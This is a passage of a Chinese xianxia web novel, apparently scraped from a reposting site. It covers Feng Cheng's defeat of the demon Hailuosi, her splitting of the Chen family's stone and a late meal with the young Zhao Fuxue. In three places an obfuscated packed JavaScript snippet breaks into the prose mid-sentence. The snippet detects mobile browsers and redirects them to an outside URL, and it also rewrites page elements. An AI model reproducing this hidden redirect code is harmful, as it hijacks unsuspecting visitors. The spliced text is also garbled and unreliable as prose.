陈云对赵负雪投以关怀的目光——此人站在原地,木然如风中的雪雕。 ** ——整整齐齐的书架,新沏的茶,干干净净,整整齐齐。 屋内还有赵负雪身上的香气——那是常年的药味与他身上的冷香。 封澄安安静静地坐着,‘赵负雪’坐在他面前,苍白的脸多了几分血色,令他的病容看起来并不过分明显,他替封澄斟茶,封澄任由他将茶水斟在了她面前的茶杯中,碧色的茶水好像一线跳动着的春泉,在这一片灰白的室内格外夺目。 茶水斟好,封澄抬起头来,一双乌幽幽的眼睛望向赵负雪。这双眼睛应当是明媚的,可此时静得能透出鬼气。 为了遮盖药味,赵负雪似乎燃了熏香,是沉香的味道,封澄颔首:“师尊换了香料吗?” 赵负雪从来不用香料,封澄收拾旧物时,曾在赵负雪的收藏中见过几盒香料,一色的花香。 他年轻时,应当颇为鲜亮,连香料都要招蜂引蝶。 ‘赵负雪’置若罔闻:“一时兴起,便换了。在门口等一会儿了吧?” 封澄一愣,随即点点头,笑道:“师尊怎么知道的?” 远方的天色渐渐地沉黑了,风更大了,‘赵负雪’深深地看了‘封澄’一眼。 “没有事情能瞒得过为师。”说罢,赵负雪微笑,抬手道:“为何不饮茶?” 封澄接过茶杯,笑了:“只是第一次喝到师尊递来的茶,有些高兴忘形了。” ** 外面的陈云一跺脚道:“她头也不回地扎进了那魔物的坑里,赵先生到底是什么人,竟能让她命也不要、魂不守舍地走进去!” 赵负雪站在院子中间,春日暖阳照的人暖洋洋的,可他只觉得寒风一阵一阵地向心里面刮。 不见踪影的妖女,吱哇乱叫的陈云,还有一群饭桶的黑衣人。 心头莫名生了一股怒气,赵负雪心道:“我拿灵气把这劳什子地方炸了行不行?” 陈云道:“我们就在外面等着?不进去?叫她被里面那个什么先生生吞活剥了?” 风似乎更加凛冽了。半空中的桃花陡然变大,寒意逐渐透入赵负雪的骨头里面。 赵负雪心里只念道:“萍水相逢,我管她死活。”手却不自觉地握上了剑柄。 天色沉黑,风越来越大,忽然一阵风起,猛地吹闭了屋子的门,门紧紧地扣上,令人无法看见屋内任何景貌。 屋内的‘赵负雪’闲聊两句,便道:“今日师尊唤你来,不是什么要事。” 他喝了一口茶水道:“只是为师病中寂寥,思来想去,唯有徒儿可排遣一二。” 封澄“嗯”了一声,道;“师尊养病,极是辛苦,这本是徒儿该做的。” ‘赵负雪’微笑着抬了抬茶杯,风度翩翩:“如此这般,你可愿常伴为师身侧?” 封澄猛地闭了闭眼。 ** 窗外的风更加凌冽,春意融融忽然便成风刀霜剑。陈云被吹得一头乱麻,瑟瑟发抖,转头一看,赵负雪还沉着脸站在门口,握着剑的手青筋直爆,陈云瑟瑟发抖地喊道:“你……你光站在门口罚站做什么!有本事就,就踹开门进去啊!” 赵负雪本就心乱如麻,闻言骂道:“闭嘴!” 陈云直着脖子喊:“我算是看明白了,你不高兴吧?你要是气那妖魔阴险诡诈,早一剑砍了过去,现在堵在门口不动弹,怕不是气那姑娘明知是幻境,还跟什么赵先生走了,你叫都叫不回来!” 赵负雪大怒:“谁说我是气这个,我跟这妖女不熟!” 大风狂吹,陈云拼命拉住自己的衣襟,声嘶力竭:“那你倒是踹门进去,拯救这位不熟但陷于水深火热的陌生人啊!” ** 封澄放下茶杯,杯中茶水一口未动,她叹了口气,喃喃道:“也不怪你。” 她和赵负雪本尊相处的日子都少之又少,怎么能要求照着她记忆而生出的魔物与赵负雪相像呢? ‘赵负雪’一怔,随即道;“你说什么?” 封澄站起来,向门口走去:“我是说,你这个西贝货,一点儿都不敬业,老娘不陪了。” “站住!”屋内的‘赵负雪’勃然变成了海洛斯的脸,哪里看得出半点病容,他五指成爪,猛地向封澄袭来:“既然进了我这个门,就别想出去!” 电光火石间,门口传来砰然一击,封澄回头,只见门外一人,手持长剑,一脚踢开门,喝道:“我管赵先生是谁,该死魔物,先把命拿来!” 封澄脖子上还架着爪子,她圆睁双眼,站在门前,同踹门而入的赵负雪大眼瞪小眼,手还维持着推门的姿势。 她慢慢地睁大了眼:“你……” 漫天纷飞的花雨中,封澄睁大双眼,赵负雪满脸通红,海洛斯目露凶光,陈云一众目瞪口呆。 可还未来得及动作,海洛斯便像是闻到血气的毒蛇,猛地向封澄的脖子抓去。 魔物的爪,拧断人身柔弱的脖子,简直比捏豆腐还容易。 可一只手伸出来,按住了她的爪子。 海洛斯:“?” 被她掐住脖子的少女面不改色,她轻轻松松地掰着海洛斯巨大可怖的爪子,仿佛在和三岁稚子掰手腕一样轻易:“我在同人说话,你在这种时候掐脖子,是不是不太合适?” 海洛斯的手哆嗦不已,闻言,终于变了脸色,道:“你到底是什么人——!” 陈云掩面,赵负雪放下了剑,封澄叹了口气:“做魔呢,不要这么不讲礼貌,想象力也不要那么匮乏,要开动大脑嘛。” 血珠在巨爪下疯狂游走,海洛斯静止片刻,爆发出惊人的喊叫,随即血肉在灵力的冲击下寸寸炸开! 封澄收回手,手指青葱一般,指尖悬着一滴红珠:“举手之劳,不必言谢。” 海洛斯连滚带爬地退后,爆发出可怖的痛嚎:“你——你!!!” 封澄走向赵负雪,想说的话也一转:“走吧,幻境估计撑不了多久了。” 赵负雪摸了摸鼻子,收回了剑:“好。” 一旁的陈云一头雾水地跟上了道:“你故作中计,是另有打算?” 喉咙的窒息感隐隐作祟,封澄笑了笑:“算是吧。” 变故陡然而起,海洛斯抱着手惨嚎了片刻,目光忽然一转,竟一张口又吹出雾气,速度快得竟让二人来不及反应,白雾飙起,众人的视线又一次模糊。 再看清楚时,封澄站在一座碑前,碑上刻着四个字。 先师之墓。 陈云目瞪口呆:“这这这?” 封澄瞄了瞄碑,心平气和道:“它死定了。” 赵负雪伸头过来看着碑,心下隐隐有两分不道德又莫名其妙的暗爽:“这就是那个赵先生?怎么也不写上叫什么名字?” 封澄一言难尽地看了碑一眼,又一言难尽地看了赵负雪一眼。 男人若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177577|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走上前去,擦了擦碑,严肃沉痛道:“这魔物手段着实下作,但姑娘须知,斯人已逝,活着的人,还是要向前看的。” 手指碰上碑的刹那,魔气涌现。 封澄清楚地感受到了魔气中的恐惧、悚然。 以及浓浓的恶意。 她的血爆了海洛斯的手,没有将她绞杀,她便还有余力来诅咒赵负雪。 真是癞蛤蟆跳脚上,不咬人恶心人。 “痛不痛苦,难不难过?” 毫不掩饰的恶意声音从四面八方侵袭而来,封澄脸色肌肉都没动一下:“在那之前,我会保证你永世不得超生的。” 心平气和地说出如此可怕地言论,四周一片沉寂无语,半晌,陈云瑟瑟发抖道:“生气了?” 赵负雪道:“显然。” 魔气一滞,转眼已更为凶悍的姿态从四面八方侵袭而来,飞快地包裹住众人。 “没机会了,”海洛斯狞笑,“你心绪已乱,便是中了此阵大忌,无力逃出!” “我……”陈云艰难地扶着自己的脖子,“我没有办法呼吸了!” 胸口窒息之意袭来,封澄四处一看,地面上恰有一柴火,她低头捡起,咬开手指,向上画了一圈,道:“没有不能破的阵,你这阵法,看似无解,实则有一致命缺憾。” 她抬手一挥,这破柴火在她手里,竟宛如绝世神兵一般,只听一剑破空,剑唳萧然,层层迷雾被剑气破开,滚着血珠的柴火竟直直冲向迷雾之后的海洛斯! 迷雾之后的海洛斯躲闪不及,硬接了这一剑! 窒息之感骤然消失。 封澄道:“对于魔气低微的你来说,灵力足够,便能硬生生撑开此阵。” 这剑带了千钧重量,惊得海洛斯面露骇然之色,凌空吐出一口血来。 海洛斯趴在地上不住咳血,显然已是强弩之末,忽然间她的目光转瞬移向赵负雪,眼神一厉,只见一记魔气向封澄狠狠击去,封澄眼也不眨地躲开,不料这魔气中途一转,垂死一击,竟是奔着赵负雪而去的。 赵负雪不知走了什么神,冷不丁地,竟被击中了。 海洛斯不住冷笑:“若是此人身死,你当会为他痛哭吧?” 一击落实,赵负雪的脸霎时惨白,他抬手,摸了摸喉咙,垂眸看见一手的血。 他擦了擦手上鲜血,抬起眼来,手停在见素之上。 “连垂死挣扎的力度,”他想,“都和玩闹一样。” 可他抬起头时,却定住了。 不知何时,妖女已然握着柴火棍走向了趴在地上的魔物,她面上冷淡,灵力却像一头暴怒的狮子般,骤然咆哮而出。 赵负雪的血终于烧到了封澄的眼底。 她想起天机院的杏堂下,赵负雪一身白衣,穿雪而过。 “人魔生于人心,窥人七情六欲,知人五劳七伤。心中万事,或穷极一生不见天日,或骤然破土,避无可避。” 封澄冷冷笑道:“你看到了什么?” 海洛斯疯癫大笑:“我从未见过如此动人的恐惧——你如此害怕失去他!” 当然是恐惧——肩负着大夏长城之职责、保她退休平安、大仇得报、魔族滚蛋的赵负雪当然不能死了! 在这个小卡拉米一样的地方,被一个小卡拉米魔族,险些抹了脖子! 这谁能不恐惧? 她散修的平安人生!她的隐退生活! 封澄唯独没有看到,听闻海洛斯之言,一旁的赵负雪手一抖,险些没握住剑。 他怔住,目光锁在封澄身上,只见女子目光坚定,背光而立,凛然不可犯。 灵气爆发,显然是暴怒无比,动了真格的模样。 只不过是区区皮肉伤,便令她悲痛至此? 一个人,要为何,才会对另一个萍水相逢的陌生人,诸多相护? 赵负雪无可避免地想到一种可能,心底忽然漏跳了一拍。 5. 第 5 章 简陋的墓地已然摇摇欲坠,四周雾气也被灵力冲击得动荡奔逃,幻境寸寸龟裂,随着砰然一声,众人重新回到了农家小院中。 封澄道:“本想将你超度,现在一想,超度个屁,还是杀了好。” 海洛斯瞳孔剧烈一缩,还未来得及反应,陡然一线红光闪过,她眼前一白,柴火棍精准地插在海洛斯的心口。 封澄慢慢地站起来,眼底冰冷,面上是方才无意溅上的魔血。 让旁人一看,她倒像嗜杀的魔族。 她把柴火插在海洛斯胸口,便转身去看赵负雪。 赵负雪脖子处一条血痕,不知为何脸上通红,仿佛高热。察觉到她的视线,还一时有些闪闪躲躲的。 面红如猴臀,封澄心中一紧——难道说中了什么魔气妖毒? 她一步上去就要扒开赵负雪的脖颈细查,赵负雪吓了一跳,满脸通红地捂住自己领口,猛地后退两步。 年轻人受了伤,最怕被人瞧见,瞧着赵负雪躲躲闪闪的模样,封澄懂了,便停下脚步——赵负雪自然更要脸的,想必是不愿意被人瞧到伤口。 人魔伏诛,受伤最重的是赵负雪,脖颈一条血线看着吓人,其余众人,无甚大事。 柴火棍身上是层层血斑与魔气,封澄把柴火棍留在海洛斯身上,转身道:“你们几个,找火来,把这房子点了。记住了,一点都不能留。” 闻言,躺在地上的海洛斯激烈地挣扎起来:“你敢!!” 封澄居高临下地看着她,凉凉道:“你的秽迹不多,如若我没猜错,烧了这个房子,你便不得轮回了?” 海洛斯怒瞪着她。 她呵地一笑:“以人身化魔,如若秽迹于人世,便有转世投胎的机缘,秽迹越多,机缘便越深。为魔,为人。” “秽迹全然毁去后,人魔便如同天魔一般,再无轮回的机缘。” 海洛斯咬牙切齿:“修士窥探天机,守人德行,你令我不得轮回,难道不怕遭报应吗!” 事已至此,这魔物竟然和她谈报应。 一旁的黑衣人早已老老实实地抱柴点火去了,封澄站起来,看着众黑衣人的背影,漠然地拒绝了海洛斯的道德绑架:“如果今日不是我横插一脚,现在躺在地上的,说不定就是这群人,还有那个脖子上一条血线的小白脸。” 海洛斯哑然。 魔的话,封澄半个字也不往耳朵里送,她杀了李文得夫妇,为了逃过天机师的追杀,伪装了一起魔物夜袭,再将二人的体内灌了魔气,谎称入魔,送到了百里之外。 如若没有封澄以血除魔发觉异样,追魔千里来除她,她便悄悄地杀了人,又悄悄地溜了。 “你也配和我谈报应?”封澄讽刺道。 火光映得海洛斯的脸一片红,她声嘶力竭:“他们心中有鬼,入阵身死,为何怪我!” “李文得负我,令我成魔,我杀他哪里有错!” 这段哭喊令黑衣人停下了手脚,他们不知所措地站在原地,目光小心翼翼地投向封澄。 封澄嗤笑一声,指着众黑衣人道:“我还是问你这一句,今日若我不敌,这座房子里还会有活人走出去?” 海洛斯霎时闭了嘴。 她又冷道:“你无辜,你有怨,报仇寻恨,我一概不管,当没看见也成——只是你的手伸到我和我的人身上了,难道我还杀不得你!” “李文得负你,你便去寻李文得的仇,杀了他妻子和刚出生的婴儿算什么?给天机师分发的粥里下魔气算什么?又要杀我,又要我怜悯——你入魔入得脑子坏了吗?” 满脸苍白的海洛斯有一双血红的眼睛。 她躺在封澄的柴火棍下,不知在想什么,半晌,嘴唇翕动:“天机师粥里的魔气,不是我的。” 封澄一怔,彼时火光冲天而起,这所小院子一点一点地被烧成灰烬。 “你说什么,”封澄难以置信,“魔气不是你的?” 没有复述一遍的机会,海洛斯脸上带着些许痛快,她一点一点地消失,与房屋一同,化作灰烬了。 封澄的心跳依然剧烈,她伸手把住自己的脉,脸色一沉。 魔气还在。 不知何时,起了些风,风口正对着封澄,封澄心下不爽,松开剑,走到下风口去,很辛苦地叹了一口气。 ——重生未醒就被塞了一口毒粥,她中了毒,和谁说理去? 且这风呛得她一脸黑灰,着实令人不爽至极。 她走到赵负雪身边,不容他躲避地单手扣住他的后颈,扯下衣服便给他包扎。 心情不爽,便拉过身边这个年轻的小师尊来蹂躏爽一爽。 仔细一看,刀气不深,无甚大碍,流了些血,只是皮肉伤,封澄放心了。 “妖女,”赵负雪从没被人如此贴近过,此时被她按着包扎,挣扎得满脸通红:“你……” 封澄抬起头,抬眼瞪他一眼。 “妖女?” 贴得太近了,近得他都能闻到封澄身上若有若无的香气。 赵负雪看着她,不自觉地便直了眼睛,舌头好像突然被猫叼走不会说话了。 二人僵持间,陈云魂不守舍地走过来:“她,她死了?” 松开赵负雪,封澄走过去,捡起了柴火棍:“死了,放心吧。”。 陈云心有余悸道:“我感觉心头痛痛的?” 封澄点点头,抬起手中柴火棍:“正常,回去多喝点水,睡一觉就好了。” 陈云目露茫然地点了点头,想了想,他两眼亮晶晶地望着封澄道:“恩公姑娘,你的追目能看这么久,有什么修行法门吗?我能不能拜你为师,学一下?” 封澄挑了挑眉——恩公姑娘又是什么称谓? “天生的,教不了。”她道。 陈云险些被这理所当然的一句话呛死。 赵负雪不知何时溜到一边发呆去了,意图偷师而铩羽而归的陈云盯准赵负雪,胳膊猛地一揽,不由分说地将二人揽到一处:“这位兄弟,此时夜深露重,独身行走不安全,考不考虑与我一同护送这位姑娘归家啊?” “你?护送她?”赵负雪瞥了他一眼。 陈云哽住了。 封澄很想问问她何时答应了。 陈云伸出一根手指,信誓旦旦:“好吧,其实是我想请你们送我回家,不是白请的——我付灵器,陈家库房大敞开,你们要什么灵器,随便挑。” 灵器,在修士里面,可是比银子还硬的家伙。 封澄抽了抽嘴角,只想拿柴火棍敲开陈云的脑子,她道:“不必了,自己守好库房吧。” 赵负雪兴趣缺缺,他抬起手,剑柄敲向陈云小腹,陈云吃痛放手。 他不耐烦道:“拿开拿开,谁要你库房里的破烂。” 陈云:“……” 陈云面目狰狞:“破烂?我陈家乃西琼第一大家,我家的库房包罗奇珍,你说我家库房是破烂?” 西琼第一大家?封澄忽然有些好奇,便向陈云问道:“我还没问过,你说是第一大家,可曾出了什么有名的修士?” 陈云骄傲道:“这就多了去了,我就说一个——陈风起。” 刹那间,好像一盆冰水从头浇到尾,封澄的脸霎时僵住,魂魄仿佛被这个名字冻住了,她大脑一片嗡鸣,半晌,她终于找回了自己的声音,喃喃道:“陈风起!?” 此人倒是旧相识。 长煌大原之战前期,她曾领兵深入魔族腹地,直捣魔族中庭,不料中途惨遭截杀,天机军头批尖锐无法脱身。 她苦战中撤退,同定好的接应军陈风起求援。 派去求援的天机师却道,陈风起一众已然叛逃,归入魔族。 长煌的惨象仍历历在目,封澄一闭眼,全是长煌大原的腥风血雨。 长煌大原一战中,叛国而逃的贼人! 封澄一把抓住陈云,盯着他道:“陈风起是你什么人!?” 这一手仿佛钢钳,陈云吃痛道:“恩公姑娘,你抓痛我了!陈风起是我爹,你认识他?” 陈云——封澄在脑海中飞快地过了一遍,忽然愣住了。 当年似乎说起过,陈风起是壮年失子。 封澄试探道:“你家……兄弟姐妹几个?” 陈云疑惑:“几个?我爹娘只我一个,没有兄弟,没有姐妹。” 就是他,封澄松开手,一肚子的火霎时灭了。 看着面前灰头土脸、一脸惊惶的陈云,封澄只觉得心下一阵发沉。 “……算了,我送你回家。”封澄道。 陈云一愣,随即一喜:“多谢恩公姑娘!” 赵负雪眯了眯眼睛,心下略微不爽。 夜间的古安郊外,漆黑一片,野草丛生,鬼比人还多。 陈云道:“你为什么跟了上来。” 赵负雪:“我怕那妖女中途动了邪念,杀你修行,不可以吗?” 封澄无力地解释: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177578|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不是用人血修的道……再说血修也是挑食的,不是什么死人都要。” 什么叫不是什么死人都要,陈云心碎地控诉:“恩公姑娘!” 赵负雪转过头去,拒绝和封澄说话,好像生怕再说一句她又上来扒他衣领一样。 年轻人的想法总让人捉摸不透,封澄由他去了。 骤得了两个高手护佑,陈云欣喜无比,谁知这俩人竟然不说话,气氛竟然活像押他去刑场。 封澄一言不发,心事重重的样子,赵负雪呢,也不知道琢磨些什么,陈云总觉得他好像是有点生气。 在几次试图搭话未果后,少爷终于忍无可忍地道:“喂,你们一个两个的什么毛病,怎么一句话都不说!” 封澄有气无力地看过来,此时此刻,没有比她更挫败的人了。 陈云虽纨绔不讨喜,但也是她亲手从海洛斯手底下抢下来的人命,此时封澄得知了其早亡的命运,哪里会有心情说话? 偏生这小子还一事不知,封澄看着他,只想叹气。 赵负雪不知在想什么,见二人眼神对上,快走两步走过来,隔开二人,转头对封澄道:“你对陈家感兴趣,难道想对陈家下手?陈家这些年,算是名声颇臭,血气想必也不纯净……” 被晾在一旁的正统陈家人陈云:“……” 陈云牙一咬,挤进来道:“当着我的面这么说好吗,名声哪里臭了!家父手中青松剑护得一地安宁,哪里不恭敬一声陈家主!” 只听咯嘣一声,陈云掏掏耳朵,怀疑自己听错了,他向着疑似发出声音的主人看去,赵负雪平和地看着他,依然是一脸霜雪般的宁静。 “刚才我好像听到了咬牙切齿的声音?”他试探问道。 封澄走着神,闻言也敷衍点点头:“我也听到了。” 黑衣人一听,一拥而上:“大人,我等前来护卫!” 陈云尴尬:“啊?你们凑过来做什么。” 一阵鸡飞狗跳,虽不知护卫是又何必要,不过陈云的尴尬也只持续了片刻,不过一会儿,他便又兴冲冲地讲起陈风起的丰功伟绩:“我爹是天下数得着的大人物,响当当、顶天立地的男人。当朝皇后娘娘姜允曾亲口夸赞过我爹,说他‘忠肝义胆’‘举世无双’,你们知道当年的怀良之战吗?我爹……” 听到这里,封澄终于忍不住了,她大步向前,猛地将众人甩在身后。 一个临阵脱逃的叛逃将军,在早亡的儿子口中,竟也是“响当当”“顶天立地”的男人。 可此时难道能和陈云说:“你爹是个临阵叛逃的孬种,还坑了我天机军数千人命”? 这时候的陈风起可还什么都没干啊。 赵负雪微不可察地勾了勾嘴角道:“你走得太慢了。” 陈云目露茫然,他啊了一声,随后向后招呼道:“好吧,恩公姑娘着急了,你们跟着快一点,要是惹了恩公姑娘生气,我必饶不了你们。” 一行人到达陈氏山庄时,夜已沉了。 山下防卫森严,月色照着立在山前的碑,碑上是四个大字,乃当代名家所书“陈氏山庄。” 封澄站在原地,抬头看向这座陈氏山庄。 在西琼之地,能有这么几座山头,不可不谓之豪贵。 真是苦寒之地,一株奇葩。 陈云正要告知门房上前通报,山庄下的封澄已然面露冷色。 看着陈风起过得这般滋润,她手痒了。 她左右看看,没有趁手的家伙,抬手便抽出赵负雪的剑——而赵负雪竟然真的被她拔出了随身佩剑! 眩目灵力霎时暴涨,只见一道雪白剑光横空而劈过,爆发出一声仿佛撼山的巨响——那奇石所立的“陈氏山庄”竟被这一剑当空劈成两半! 整整齐齐,无半粒碎石。 众门房愣在原地,陈云眨了眨眼,又忍不住揉了揉眼。 封澄的抬着下巴,她立于山下,却像是站在了山巅之上、陈风起的座前。提剑,寒声道:“告诉陈风起,叫他这几年,夹着尾巴做事!” 这一剑,砍他二十年后临阵叛逃,全当解气。 “若行不义,便如此石。” 说罢,封澄转身,还剑入鞘。 在众人的目光下,纵身向山下跑去,还不忘转身拉着傻在原地的赵负雪。 夜风呼啸,赵负雪垂眸看着他被紧紧抓着的手。 身后的追赶声惊天动地,震耳欲聋的却是胸中如鼓的心跳。 6. 第 6 章 直到身后的追赶声全然消失,封澄才大笑着放开赵负雪的手腕。 “痛快,痛快。” 赵负雪转头看向她,心底像被炸了道花火:“哪里来的小疯子。” 他口上却凉凉道:“你倒是痛快,留的剑痕可是我的。” 封澄劈石,用的是赵负雪的剑,众人回头去查剑痕,也只能查到赵负雪的“见素”,封澄这一劈是尽了兴,可后续算起账来,竟是丝毫查不到封澄的头上。 到了此时,封澄才后知后觉地发现,自己大概是给赵负雪惹了个大麻烦。 她颇有些尴尬地想,怎么血气一上头,拔了赵负雪的剑就砍呢?赵负雪的剑也不认生,就这么被她拔了出来…… 赵负雪很谴责地看她,封澄在赵负雪谴责的视线里越发无地自容,半晌,她尴尬地眨了眨眼睛,找补道:“我……我看那小子不顺眼,一路上念得我心烦……” 说着说着,封澄微微皱了眉,喉咙一甜,嗓子一清,竟然冷不丁地吐了口血出来,这血出来,不光封澄傻了,就连赵负雪也愣住了。 封澄擦了擦嘴,转头继续对赵负雪道:“我冲动行事,劈了他家的碑,陈风起那个小心眼的,必然上门找公子的事,公子被我连累……” 封澄心中只不想陈家生事波及赵负雪,而赵负雪盯着她未擦干净的血迹,问道:“这是怎么回事?” 这? 封澄反应过来:“不妨事,只是一些小毛病。” 想必是醒来的时候喝的那碗粥在作祟,魔气入体这么久,也该发作了。 只是封澄并不把这种小伤放在心上——当年长煌大原上厮杀,喉咙被豁开的时候也不是没有,吐个血算什么?只当清理淤血了。 兴许是方才灵力大爆,又气急攻心的缘故,封澄的脸显得分外苍白,妖女年纪不大,灰头土脸,嘴角挂血,看着好像是被踹了一脚的灰扑扑白猫。 赵负雪不自觉地皱了皱眉,心中莫名堵了堵——把这妖女拉去修血道,又放出来挨打受伤的人,到底是怎么想的。 封澄又道:“连累赵公子了。” 赵负雪被打断思绪,忽然反应过来:“你如何得知我姓赵?” 糟糕,脱口而出,鲁莽了。 封澄蓦地一僵,连忙找补道:“赵家负雪公子盛名,谁人不知?我早已敬仰良久,只一见面,便认得了。” 这话倒也合情合理,赵负雪年少成名,一手见素,一身白衣,世人皆知。 赵负雪一勾嘴角,心底好似炸了一重一重的花火,面上却不改声色:“我还不知你名姓。” 封澄见他好似挺高兴,心下也是松了一口气:“姓封,单名一个澄字。” 二人一道前行,夜深,山路难行,封澄与赵负雪并肩而行,心中略有些不自在。 赵负雪靠的极近,她甚至能碰到他手臂的热意。 也只在二人相处的寂静之时,封澄终于意识到,师尊是变成少年了,可她还是原来的人。 赵负雪于她而言,还是那个云巅之上的师尊,目下无尘,清冷如仙。她这诸多冒犯,已是不敬。 如此贴近,更是亵渎。 她不动声色地离赵负雪远了些。 赵负雪忽然觉得封澄与他的中间隔开许多,定睛一看,足足有几个人的距离,距离一远,这妖女看着脸色苍白、面带愁容,衣衫狼狈——更可怜了。 可她分明是搅得世间不得安宁的血修。 封澄琢磨着如何同赵负雪分别告辞,顺便提醒一下他不久后的大劫。谁知行至半路,赵负雪忽然道:“血修修行,惯常以人血肉为引,你行走江湖,要谋求此物吗?” 封澄闻言,沉思片刻:“我刚才似乎说过此事,我不是人血修的。” 赵负雪冷着脸上前走一步:“是与否,我自会在日后慢慢查明,往后江湖,烦请姑娘多担待了。” 封澄:“……” 没想到师尊是这等嫉恶如仇以身饲虎的高风亮节之士? 古安此地繁华,外来人士也多,只是时候晚了,即便是有几家客栈,也都是满人,封澄带着人四处搜寻,没找到客栈,倒找到了间馄饨铺子。 “一直空着肚子找房子也是不便,吃不吃馄饨?”封澄觉得需要邀请他一下。 赵负雪二话不说,提起步,走进了铺子。 馄饨铺子的主人正打算收摊,见了封澄二人来,先是警惕:“你们,你们想干什么?” 这店主的脸上满是惊恐,想必是把二人当作深夜劫掠的了,封澄看着自己这身打扮,一时有些无言,半晌,她才道:“我们是来吃饭的。” 老板眼睛一亮,嗬一声,站起来招呼道:“哦,两位快坐,咱们来对地方了,我这馄饨,在十里八乡都是出了名的,要吃什么?” 封澄看了看菜单,道:“两碗馄饨,给他的不要辣子,再随意煮个甜汤上来。” 老板哎了一声,兴冲冲地进去忙碌了,封澄自在外面挑了个桌子坐下,招呼道:“你也坐,我自作主张给你去了辣子,你可以么?” 赵负雪的睫毛盖住眼底,道:“不挑,我去要一壶茶水。” 一会儿,赵负雪拿着茶壶走了过来。 封澄托腮看着他。 赵负雪长得好看,病骨支离的时候好看,年轻的时候更好看。 他出身京城大族,身上却不见半分纨绔习气;长得名动京城,也不见半分骄纵之意;灵力卓绝,天资无双,更毫无恃强凌弱之心。 剑守长煌,心怀苍生。 她的师尊,好得令人不敢置信。 封澄含笑看着他,看得赵负雪耳畔缓缓爬上红意:“你看什么?” 她含笑指了指他提着的壶:“人长得好看就是妙,连拎着的陶泥水壶也跟着沾光,像个了不得的珍玩。” 赵负雪:“……” 轻薄。 他在封澄面前落座:“溜须拍马,我也不会与你同流合污的。” 封澄看着他的嘴一张一合,苍白的唇,湿润的茶水。 一时视线有些飘逸,封澄有些狼狈地举起茶杯,喝水掩饰道:“好,好,没问题,你说得对。” 正在此时,甜汤上桌,封澄眼前一亮,一口甜汤下肚,顿觉整个身体都熨帖了,她舒了一口气,才道:“吃一口甜汤,才觉人生之乐不过如此。” 赵负雪食不言,慢条斯理地咬开馄饨,吃了下去,才道:“你平日修行的地方,有甜汤吃吗?” 修行之地? 封澄想了想,天机院倒是有甜汤,只是她没呆几年天机院,便去了长煌大原:“有,不过少,那里风大天冷人又少,商贩从不过去。” 赵负雪不说话了,低头吃馄饨。 今日奔波忙碌,吃下去的不过是醒转时喝到的一口粥,还是有毒的,封澄早就饥肠辘辘——哪怕是天机师强横无匹的身体也会饿的,馄饨鲜香,封澄索性也不说话,专心吃饭,不一会儿,一碗馄饨便见了底。 待她吃完了馄饨,喝完了甜汤,灌了不知多少杯茶水后,赵负雪终于从从容容地吃完了饭。 当真是世家公子的吃法,封澄大为叹服——这文雅的,够她吃八顿。 她抬手道:“掌柜的,结账!” 钱包里是陈云偷偷给她塞的救命钱,不花白不花,封澄乐滋滋地掏出荷包。 掌柜敲了敲算盘,从柜台后疑惑地探出头来,道:“这位公子已经结过了。” 封澄一怔,赵负雪站起来,道:“夜已然深了,若你不想露宿街头,该找客栈投宿了。” 这不难,在等赵公子用膳时,封澄早已将四周研究了个遍,不远处便有客栈。 一听封澄要投宿的地方,馄饨铺老板倒吸一口气,算盘也不打了:“二位是要找住的地方啊?这客栈可住不得,住不得!宁肯找农家投宿,都不要住这一家啊!” 封澄起了兴致,又倒了一杯茶,边喝边问道:“哦?为何住不得?” 老板唉声叹气:“我们古安,这几年神神鬼鬼的,你看那个客栈。” 封澄顺着老板指着看过去,浓浓夜色里,一道楼影,看着倒是颇具规模。 老板绘声绘色道:“这个楼呢,名为宝华,从前是我们这里最大的客栈,可谓是歌舞升平,游人如织,还有那个什么,男欢女笑。” 封澄听得目瞪口呆,连捏着茶杯的手都险些松了。 宝华楼,这名字她可耳熟。 这不是赵负雪年轻时游历过的地方、除魔的传说之地嘛。 注意到封澄骤然感兴趣的双眼,老板说得愈发唾沫横飞:“可是有一天,这客栈的生意到头了!” “西吉街李家的大女儿阿环,名声在外的花魁,死后成魔,屠了宝华楼,盘踞于此,无人能入!” 赵负雪对这话多的老板颇为不耐烦,看见封澄兴致勃勃,闭了闭眼,又寻了一处凳子坐下了。 封澄道:“此地修士可曾除魔?” 老板一拍大腿:“怎么会没来过?陈家下来不知道多少次,次次刹羽而归,到了现在啊,谁敢进宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177579|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华楼一步,必然不出三日,血溅三尺啊!” “荒谬——!!”她终于忍不住,擦了擦嘴,一拍桌子,道:“这宝华楼就在陈氏山庄脚底下,还能放它如此嚣张!” 老板叹道:“唉,其实只要不进宝华楼,人是不会有事的,陈氏不除它,似乎也无甚问题。” 